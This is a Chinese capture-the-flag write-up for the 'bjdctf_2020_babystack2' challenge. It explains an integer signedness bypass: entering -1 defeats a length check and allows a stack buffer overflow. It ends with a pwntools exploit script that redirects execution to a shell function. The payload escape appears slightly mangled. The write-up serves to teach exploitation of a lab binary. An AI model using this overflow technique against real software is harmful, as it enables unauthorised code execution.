此题考整型的有符号无符号的东西。。。
下载文件还是,先检查一下保护。
64位程序,只开启了堆栈不可执行,看一下ida的伪代码。
大概流程就是先让你输入一个数,这个数就是后面read的可以输入的长度,要想进行溢出,就必须有足够的长度,但是有一个校验,不让这个数大于十,我们得想办法绕过这个校验,让我们可以进行溢出。
看一眼nbytes的类型是size_t,从百度百科查了一下,大概是这么个意思。
大概就是一个无符号型整数,无符号型。。。but!!!你们仔细看看伪代码的图的if。
if ( (signed int)nbytes > 10 )
这里强制转换将这个东西转换成有符号的整数,关于整数溢出,大家可以看看这个博客,一看就懂了!
这么来说,假如我们输入一个输入进内存里面的是ffff,对于无符号型,那就是一个正数,但是变成有符号型整数,那么这个值就是-1,这样就绕过了这个检验,溢出长度就可以很长了!!!
贴一下exp:
1 from pwn import * 2 3 p = process('./bjdctf_2020_babystack2') 4 #p = remote('node3.buuoj.cn',27265) 5 context.log_level = 'debug' 6 7 shell_addr = 0x0400726 8 p.recv() 9 p.sendline('-1') 10 p.recv() 11 payload = 'x39'*0x10 + 'bbbbbbbb' + p64(shell_addr) 12 p.send(payload) 13 p.interactive()